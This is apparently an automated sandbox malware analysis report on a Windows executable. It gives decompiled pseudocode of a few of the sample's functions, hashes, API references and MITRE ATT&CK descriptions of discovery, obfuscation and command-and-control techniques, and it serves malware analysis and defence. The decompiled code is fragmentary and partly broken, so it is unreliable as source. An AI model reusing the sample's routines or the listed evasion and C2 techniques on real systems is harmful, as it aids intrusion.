0x00a4ae40
0x00a4ae45
0x00a4ae57
0x00a4ae5b
0x00a4ae5d
0x00a4ae65
0x00a4ae6a
0x00a4ae70
0x00a4ae76
0x00a4ae7e
0x00a4ae82
0x00a4ae94
0x00a4aea0
0x00a4aeb1
0x00a4aeb5
0x00a4aecc
0x00a4aed0
0x00a4aeea
0x00a4aeef
0x00a4aed0
0x00a4aef3
0x00a4aefd
0x00a4af07
0x00a4af0e
0x00a4af0e
0x00a4af16
0x00a4af17
0x00a4af18
0x00a4af1e
0x00a4af20
0x00a4af26
0x00a4af26
0x00a4ad84
0x00a4ad88
0x00000000
0x00000000
0x00a4ad8e
0x00a4ad92
0x00a4ad95
0x00a4ad99
0x00a4ad9c
0x00a4ada0
0x00a4ada2
0x00000000
0x00000000
0x00a4adaa
0x00a4adae
0x00000000
0x00000000
0x00a4adb7
0x00a4adc1
0x00a4adcd
0x00a4add1
0x00a4ade0
0x00a4ade5
0x00a4adea
0x00a4af27
0x00000000
0x00a4af27
0x00a4adf4
0x00a4adf5
0x00a4adf9
0x00a4adfc
0x00a4ae00
0x00a4ae03
0x00a4ae03
0x00a4ae06
0x00a4ae09
0x00a4ae0c
0x00a4ae10
0x00000000
0x00a4ada0
0x00a4ad4c
0x00000000

APIs

LocalFree.KERNEL32(00000000), ref: 00A4AD46

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal
String ID:
API String ID: 2826327444-0
Opcode ID: 9d566f498eaaa433ca7179fc445ced2e9ce8b07f85658a297353f165d26ef294
Instruction ID: cf33fdc269d888bbc433771dd1db34eddf0d754666f17864ba151dacf40d3861
Opcode Fuzzy Hash: 9d566f498eaaa433ca7179fc445ced2e9ce8b07f85658a297353f165d26ef294
Instruction Fuzzy Hash: 5151CDB9644311AFE304DF68DC45A2B76E9FBC8710F004A29F969D7290EB71CC058BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A383 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 117
memoryCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00A4A383(intOrPtr __ecx, intOrPtr* __edx, intOrPtr _a4) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _t25;
				void* _t29;
				void* _t30;
				void* _t39;
				void* _t47;
				void* _t52;
				intOrPtr _t54;
				void* _t70;
				void* _t77;
				intOrPtr* _t80;
				void* _t82;
				intOrPtr* _t83;
				signed int _t85;

				_t25 =  *0xa4e1ac; // 0x796058
				_v12 = _t25;
				_v20 = __edx;
				_v16 = __ecx;
				_t29 = LocalAlloc(0x40, 0x100 +  *((intOrPtr*)( *0xa4e090))(__ecx) * 2);
				_t54 = _v16;
				_t52 = _t29;
				_t30 = 2;
				_t76 =  ==  ? _t30 : 0;
				_t77 = ( ==  ? _t30 : 0) + _t54;
				if(_t77 != 0) {
					do {
						_t39 = LocalAlloc(0x40, 0x100 +  *((intOrPtr*)( *0xa4e090))(_t54) * 2);
						_v8 = _t39;
						_t82 =  *((intOrPtr*)( *0xa4e180))(_t77, "\\");
						if(_t82 == 0) {
							if(_a4 == 0) {
								_push(_t77);
								if(E00A4A4BC(_t77,  &_v8, 0,  *((intOrPtr*)( *0xa4e090))()) != 0) {
									_t47 = E00A4A5DB(_t52, _v12);
									_t70 = _v8;
									goto L9;
								}
							} else {
								_t47 = E00A4A5DB(_t52, _v12);
								_t70 = _a4;
								L9:
								_t52 = E00A4A5DB(_t47, _t70);
							}
							_t83 = _v20;
							 *_t83 =  *((intOrPtr*)( *0xa4e13c))( *_t83, _t52);
							_t77 = 0;
						} else {
							_t85 = _t82 - _t77 >> 1;
							if(E00A4A4BC(_t77,  &_v8, 0, _t85) != 0) {
								_t52 = E00A4A5DB(E00A4A5DB(_t52, _v12), _v8);
							}
							_t77 = _t77 + _t85 * 2 + 2;
						}
						LocalFree(_v8);
						_t54 = _v16;
					} while (_t77 != 0);
				}
				_t80 = _v20;
				 *_t80 =  *((intOrPtr*)( *0xa4e13c))( *_t80, _t52);
				LocalFree(_t52);
				return 1;
			}

0x00a4a389
0x00a4a397
0x00a4a3a0
0x00a4a3a3
0x00a4a3b2
0x00a4a3b4
0x00a4a3bb
0x00a4a3bd
0x00a4a3c2
0x00a4a3c5
0x00a4a3c7
0x00a4a3cd
0x00a4a3e5
0x00a4a3f3
0x00a4a3f8
0x00a4a3fc
0x00a4a437
0x00a4a44d
0x00a4a461
0x00a4a468
0x00a4a46d
0x00000000
0x00a4a46d
0x00a4a439
0x00a4a43e
0x00a4a443
0x00a4a470
0x00a4a477
0x00a4a477
0x00a4a479
0x00a4a486
0x00a4a488
0x00a4a3fe
0x00a4a403
0x00a4a413
0x00a4a429
0x00a4a429
0x00a4a42e
0x00a4a42e
0x00a4a48d
0x00a4a493
0x00a4a496
0x00a4a3cd
0x00a4a49e
0x00a4a4ac
0x00a4a4ae
0x00a4a4bb

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,?), ref: 00A4A3B2
LocalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,?), ref: 00A4A3E5
LocalFree.KERNEL32(?,?,00000000,00000000,?), ref: 00A4A48D

Part of subcall function 00A4A4BC: LocalAlloc.KERNEL32(00000040,00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A4E4
Part of subcall function 00A4A4BC: LocalFree.KERNEL32(00000000,?,00A4848C,00000000,00000000,?,?,?,?,?,?,00A4777E), ref: 00A4A521

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000,?,00000000,00000000,?), ref: 00A4A4AE

Strings

X`y, xrefs: 00A4A389

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Local$Free$Alloc$lstrlen$Global
String ID: X`y
API String ID: 2107727554-3519677477
Opcode ID: 7f610071bc349b08413b5ba1fe7b1727c40281d29ad509b841d94fd242554450
Instruction ID: afa249379221d8d9b0196ff662fd7312436ec63e561f995d6725211d5f262a4c
Opcode Fuzzy Hash: 7f610071bc349b08413b5ba1fe7b1727c40281d29ad509b841d94fd242554450
Instruction Fuzzy Hash: 2441AE3EA80208EFDB14DFE8DC85AAE77B6FBD9310F104559E81197290DAB1AD01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A43FAB Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00A43FAB(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				void* _t7;
				void* _t16;
				void* _t17;
				void* _t26;
				void* _t28;
				void* _t30;

				_t17 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x228, _t26, _t30, _t16, __ecx);
				_t7 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x228);
				_t28 = _t7;
				 *0xa4e0c8(0, _t17, 0x1c, 0);
				 *0xa4e0c8(0, _t28, 0x1a, 0);
				E00A41B13(_t17, _a8, __edx, _a4, 0);
				E00A4197C(_t28, _a8, __edx, _a4, 0);
				if(_t17 != 0) {
					LocalFree(_t17);
				}
				if(_t28 != 0) {
					LocalFree(_t28);
				}
				return 1;
			}

0x00a43fcc
0x00a43fd1
0x00a43fda
0x00a43fdc
0x00a43fe9
0x00a43ffa
0x00a4400d
0x00a44017
0x00a4401a
0x00a4401a
0x00a44022
0x00a44025
0x00a44025
0x00a44034

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?,?,00A478D3,00000000,00000000), ref: 00A43FDC
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000,?,?,00A478D3,00000000,00000000), ref: 00A43FE9
LocalFree.KERNEL32(00000000,?,?,?,00A478D3,00000000,00000000), ref: 00A4401A
LocalFree.KERNEL32(00000000,?,?,?,00A478D3,00000000,00000000), ref: 00A44025

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FolderFreeLocalPathSpecial
String ID:
API String ID: 1111715986-0
Opcode ID: eef7d891c0bd6f008cfd3188ccb7110105d051e4e49a46b266b9facae4acac11
Instruction ID: 45cd48b0933f129704633685f046e2c6894e147a144397048e2610e6bdd65c5e
Opcode Fuzzy Hash: eef7d891c0bd6f008cfd3188ccb7110105d051e4e49a46b266b9facae4acac11
Instruction Fuzzy Hash: FE01F939380204BBF724DBD09C4AF6B3768EBCAB20F100114FB185B2C1DAB55C0182A9

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report zRZljp49Uz

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: zRZljp49Uz.exePID: 7056, Parent PID: 2136

General

Chronological Activities

Windows Analysis Report
zRZljp49Uz

Function 00A41000 Relevance: 219.3, APIs: 19, Strings: 106, Instructions: 509
libraryloaderCOMMON

Function 00A479F3 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 232
networkmemoryCOMMON

Function 00A41806 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
memoryencryptionCOMMON

Function 00A4A798 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Function 00A47486 Relevance: 72.2, APIs: 33, Strings: 8, Instructions: 440
synchronizationCOMMON

Function 00A4A198 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 69
COMMON

Function 00A4A720 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
registryCOMMON

Function 00A4A323 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 40
memoryCOMMON

Function 00A4A59A Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 28
memoryCOMMON

Function 00A4839B Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 16
memoryCOMMON

Function 00A4A5DB Relevance: 3.8, APIs: 3, Instructions: 38
stringCOMMON

Function 00A41E26 Relevance: 76.1, APIs: 37, Strings: 6, Instructions: 812
stringCOMMON

Function 00A427C6 Relevance: 47.7, APIs: 22, Strings: 5, Instructions: 419
fileCOMMON

Function 00A45870 Relevance: 38.9, APIs: 18, Strings: 4, Instructions: 372
COMMON

Function 00A4B29D Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 275
fileCOMMON

Function 00A43C9D Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 255
memoryCOMMON

Function 00A439E5 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 223
fileCOMMON

Function 00A49DEA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 232
COMMON

Function 00A49188 Relevance: 13.6, APIs: 9, Instructions: 129
stringCOMMON

Function 00A48F1D Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Function 00A46053 Relevance: 4.6, APIs: 3, Instructions: 103
COMMON

Function 00A49055 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Function 00A47C6B Relevance: 60.0, APIs: 28, Strings: 6, Instructions: 474
networkstringfileCOMMON

Function 00A452CB Relevance: 59.2, APIs: 47, Instructions: 476
memoryCOMMON

Function 00A46A3B Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 419
fileCOMMON

Function 00A470DE Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 315
memoryCOMMON

Function 00A483CE Relevance: 31.7, APIs: 18, Strings: 3, Instructions: 247
memoryCOMMON

Function 00A4A900 Relevance: 31.6, APIs: 25, Instructions: 347
memoryCOMMON

Function 00A49A8E Relevance: 30.3, APIs: 24, Instructions: 303
COMMON

Function 00A497BB Relevance: 16.5, APIs: 13, Instructions: 263
COMMON

Function 00A41C95 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
COMMON

Function 00A46F2A Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145
fileCOMMON

Function 00A4ACFE Relevance: 7.7, APIs: 6, Instructions: 190
COMMON